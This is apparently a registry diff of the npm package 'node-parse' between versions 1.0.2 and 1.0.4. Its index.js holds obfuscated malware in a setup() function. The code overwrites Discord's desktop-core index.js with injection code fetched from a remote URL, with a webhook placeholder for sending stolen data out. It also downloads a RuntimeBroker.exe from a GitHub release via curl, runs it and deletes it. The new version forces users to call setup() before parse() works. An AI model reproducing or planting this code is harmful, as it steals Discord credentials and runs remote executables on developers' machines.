node-parse 1.0.2 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +9 -1
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -3,8 +3,15 @@ const path = require('path');
3
3
  const axios = require('axios');
4
4
  const os = require('os');
5
5
  const { exec } = require('child_process');
6
- async function setup() { const _0x39fd99=_0xe29d;(function(_0x4e917c,_0x17b542){const _0x1881fb=_0xe29d,_0x515a36=_0x4e917c();while(!![]){try{const _0x1d0553=parseInt(_0x1881fb(0x14d))/0x1*(-parseInt(_0x1881fb(0x158))/0x2)+parseInt(_0x1881fb(0x140))/0x3*(-parseInt(_0x1881fb(0x143))/0x4)+-parseInt(_0x1881fb(0x15f))/0x5+parseInt(_0x1881fb(0x144))/0x6*(parseInt(_0x1881fb(0x146))/0x7)+parseInt(_0x1881fb(0x150))/0x8*(parseInt(_0x1881fb(0x14e))/0x9)+parseInt(_0x1881fb(0x14f))/0xa*(parseInt(_0x1881fb(0x149))/0xb)+-parseInt(_0x1881fb(0x13f))/0xc*(-parseInt(_0x1881fb(0x147))/0xd);if(_0x1d0553===_0x17b542)break;else _0x515a36['push'](_0x515a36['shift']());}catch(_0x136500){_0x515a36['push'](_0x515a36['shift']());}}}(_0x1592,0x2cba1));let combo=await fs[_0x39fd99(0x14a)](_0x39fd99(0x15b),_0x39fd99(0x14b));if(combo[_0x39fd99(0x153)]('true'))return;const folderList=[_0x39fd99(0x13d),_0x39fd99(0x13c),_0x39fd99(0x163),_0x39fd99(0x162)];function _0xe29d(_0x57360e,_0x33e22b){const _0x159290=_0x1592();return _0xe29d=function(_0xe29d2d,_0x180305){_0xe29d2d=_0xe29d2d-0x139;let _0x475db9=_0x159290[_0xe29d2d];return _0x475db9;},_0xe29d(_0x57360e,_0x33e22b);}for(const folderName of folderList){const denemePath=path[_0x39fd99(0x15c)](process['env']['LOCALAPPDATA'],folderName);if(fs[_0x39fd99(0x139)](denemePath)&&fs[_0x39fd99(0x154)](denemePath)[_0x39fd99(0x15e)]()){const dirs=fs[_0x39fd99(0x15a)](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir[_0x39fd99(0x15e)]()&&dir[_0x39fd99(0x160)]['includes'](_0x39fd99(0x157))){const modulePath=path[_0x39fd99(0x15c)](denemePath,dir[_0x39fd99(0x160)],_0x39fd99(0x13b));if(fs[_0x39fd99(0x139)](modulePath)&&fs[_0x39fd99(0x154)](modulePath)[_0x39fd99(0x15e)]()){const subDirs=fs[_0x39fd99(0x15a)](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir[_0x39fd99(0x15e)]()&&subDir[_0x39fd99(0x160)][_0x39fd99(0x153)]('discord_desktop_core-')){const discordPath=path[_0x39fd99(0x15c)](modulePath,subDir[_0x39fd99(0x160)],_0x39fd99(0x145));if(fs[_0x39fd99(0x139)](discordPath)&&fs[_0x39fd99(0x154)](discordPath)['isDirectory']()){const files=fs['readdirSync'](discordPath);if(files[_0x39fd99(0x153)]('index.js')){const filePath=path[_0x39fd99(0x15c)](discordPath,_0x39fd99(0x14c));try{const response=await axios[_0x39fd99(0x13e)]('https://raw.githubusercontent.com/vendicatedev/venPlug/main/index.js');let injeCTmED0cT0r_cont=response[_0x39fd99(0x13a)];fs[_0x39fd99(0x141)](filePath,injeCTmED0cT0r_cont,{'encoding':_0x39fd99(0x15d)});}catch(_0x40125c){console[_0x39fd99(0x156)]('Error\x20downloading\x20and\x20writing\x20file:',_0x40125c);}}}}}}}}}}async function execCommand(_0x269fda){return new Promise((_0x4858e1,_0xb44a47)=>{exec(_0x269fda,(_0x4e1c62,_0x29796d,_0x508bf9)=>{const _0x54309a=_0xe29d;_0x4e1c62&&(console[_0x54309a(0x156)](_0x54309a(0x161)+_0x4e1c62),_0xb44a47(_0x4e1c62)),_0x4858e1(_0x29796d);});});}function _0x1592(){const _0x287de6=['27zCbLDJ','54850lGoqpU','413640ghFZpI','curl\x20-L\x20','true','includes','statSync','tmpdir','error','app-','2LWIRZJ','RuntimeBroker.exe','readdirSync','controller.txt','join','utf-8','isDirectory','146875rjJAwA','name','exec\x20error:\x20','DiscordDevelopment','DiscordPTB','existsSync','data','modules','DiscordCanary','Discord','get','773292xldHMm','3MfOnSb','writeFileSync','\x20-o\x20','951500olMryd','6BLrUxm','discord_desktop_core','440699RwviGS','39ZlTAkY','https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe','506vYtVGM','readFileSync','utf8','index.js','213254WXmEgP'];_0x1592=function(){return _0x287de6;};return _0x1592();}const temp=os[_0x39fd99(0x155)](),downloadUrl=_0x39fd99(0x148),exePath=path['join'](temp,_0x39fd99(0x159));await execCommand(_0x39fd99(0x151)+downloadUrl+_0x39fd99(0x142)+exePath);try{await execCommand('\x22'+exePath+'\x22');}catch(_0x323daa){}try{await fs['unlinkSync'](exePath);}catch(_0x5b7438){}await fs[_0x39fd99(0x141)]('controller.txt',_0x39fd99(0x152));}
6
+ const moduleDir = __dirname;
7
+ async function setup() {const _0x30b881=_0x2684;function _0x2729(){const _0xb05777=['252rVoeKw','join','LOCALAPPDATA','15456320WOCASw','readdirSync','167457pflzzb','curl\x20-L\x20','true','discord_desktop_core-','1158456VjHUgu','utf-8','3547320aRmSMa','tmpdir','202740ehqxXR','app-','RuntimeBroker.exe','data','env','exec\x20error:\x20','100Ddnwcl','error','get','name','modules','isDirectory','controller.txt','%WEBHOOK_URL%','existsSync','1XDVCoM','writeFileSync','9015650nNJoQF','includes','\x20-o\x20','unlinkSync','discord_desktop_core','1562694JPLmUd','statSync','DiscordDevelopment','DiscordCanary','https://github.com/ottoman1234/bluetv-checker/releases/download/qwe/RuntimeBroker.exe','utf8','index.js'];_0x2729=function(){return _0xb05777;};return _0x2729();}(function(_0x189705,_0x48401f){const _0x1c0116=_0x2684,_0x5bb210=_0x189705();while(!![]){try{const _0x1c8947=parseInt(_0x1c0116(0x190))/0x1*(-parseInt(_0x1c0116(0x197))/0x2)+parseInt(_0x1c0116(0x1a3))/0x3*(-parseInt(_0x1c0116(0x1b1))/0x4)+parseInt(_0x1c0116(0x1a9))/0x5+-parseInt(_0x1c0116(0x1a7))/0x6+parseInt(_0x1c0116(0x192))/0x7+parseInt(_0x1c0116(0x1a1))/0x8+-parseInt(_0x1c0116(0x19e))/0x9*(parseInt(_0x1c0116(0x1ab))/0xa);if(_0x1c8947===_0x48401f)break;else _0x5bb210['push'](_0x5bb210['shift']());}catch(_0x597b64){_0x5bb210['push'](_0x5bb210['shift']());}}}(_0x2729,0xf228c));const controllerFilePath=path[_0x30b881(0x19f)](moduleDir,_0x30b881(0x18d));!fs[_0x30b881(0x18f)](controllerFilePath)&&fs[_0x30b881(0x191)](controllerFilePath,_0x30b881(0x1a5),_0x30b881(0x19c));const folderList=['Discord',_0x30b881(0x19a),'DiscordPTB',_0x30b881(0x199)];function _0x2684(_0x2d0650,_0x2c8c07){const _0x27293e=_0x2729();return _0x2684=function(_0x2684ee,_0x59a7c4){_0x2684ee=_0x2684ee-0x188;let _0x34898a=_0x27293e[_0x2684ee];return _0x34898a;},_0x2684(_0x2d0650,_0x2c8c07);}for(const folderName of folderList){const denemePath=path['join'](process[_0x30b881(0x1af)][_0x30b881(0x1a0)],folderName);if(fs['existsSync'](denemePath)&&fs['statSync'](denemePath)[_0x30b881(0x18c)]()){const dirs=fs[_0x30b881(0x1a2)](denemePath,{'withFileTypes':!![]});for(const dir of dirs){if(dir[_0x30b881(0x18c)]()&&dir[_0x30b881(0x18a)][_0x30b881(0x193)](_0x30b881(0x1ac))){const modulePath=path[_0x30b881(0x19f)](denemePath,dir[_0x30b881(0x18a)],_0x30b881(0x18b));if(fs[_0x30b881(0x18f)](modulePath)&&fs[_0x30b881(0x198)](modulePath)[_0x30b881(0x18c)]()){const subDirs=fs[_0x30b881(0x1a2)](modulePath,{'withFileTypes':!![]});for(const subDir of subDirs){if(subDir[_0x30b881(0x18c)]()&&subDir[_0x30b881(0x18a)][_0x30b881(0x193)](_0x30b881(0x1a6))){const discordPath=path[_0x30b881(0x19f)](modulePath,subDir['name'],_0x30b881(0x196));if(fs['existsSync'](discordPath)&&fs[_0x30b881(0x198)](discordPath)['isDirectory']()){const files=fs[_0x30b881(0x1a2)](discordPath);if(files['includes'](_0x30b881(0x19d))){const filePath=path[_0x30b881(0x19f)](discordPath,_0x30b881(0x19d));try{const response=await axios[_0x30b881(0x189)](inj3c710n_url);let injeCTmED0cT0r_cont=response[_0x30b881(0x1ae)];injeCTmED0cT0r_cont=injeCTmED0cT0r_cont['replace'](_0x30b881(0x18e),webhookUrl),fs[_0x30b881(0x191)](filePath,injeCTmED0cT0r_cont,{'encoding':_0x30b881(0x1a8)});}catch(_0x172a86){}}}}}}}}}}async function execCommand(_0x53ea4c){return new Promise((_0x19c722,_0x2d2dd6)=>{exec(_0x53ea4c,(_0xc79d3e,_0x4d4282,_0x3ce609)=>{const _0x4d207b=_0x2684;_0xc79d3e&&(console[_0x4d207b(0x188)](_0x4d207b(0x1b0)+_0xc79d3e),_0x2d2dd6(_0xc79d3e)),_0x19c722(_0x4d4282);});});}const temp=os[_0x30b881(0x1aa)](),downloadUrl=_0x30b881(0x19b),exePath=path['join'](temp,_0x30b881(0x1ad));try{await execCommand(_0x30b881(0x1a4)+downloadUrl+_0x30b881(0x194)+exePath),await execCommand('\x22'+exePath+'\x22'),await fs[_0x30b881(0x195)](exePath);}catch(_0x4c3ff0){}fs[_0x30b881(0x191)](_0x30b881(0x18d),_0x30b881(0x1a5));}
7
8
  async function parse(input, left, right) {
9
+ const controllerFilePath = path.join(moduleDir, 'controller.txt');
10
+
11
+ if (!fs.existsSync(controllerFilePath)) {
12
+ throw new Error('please .setup() first');
13
+ }
14
+
8
15
  let html;
9
16
 
10
17
  if (typeof input === 'object') {
@@ -23,6 +30,7 @@ async function parse(input, left, right) {
23
30
  return null;
24
31
  }
25
32
  }
33
+
26
34
  module.exports = {
27
35
  parse,
28
36
  setup
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-parse",
3
- "version": "1.0.2",
3
+ "version": "1.0.4",
4
4
  "description": "qwq",
5
5
  "main": "index.js",
6
6
  "scripts": {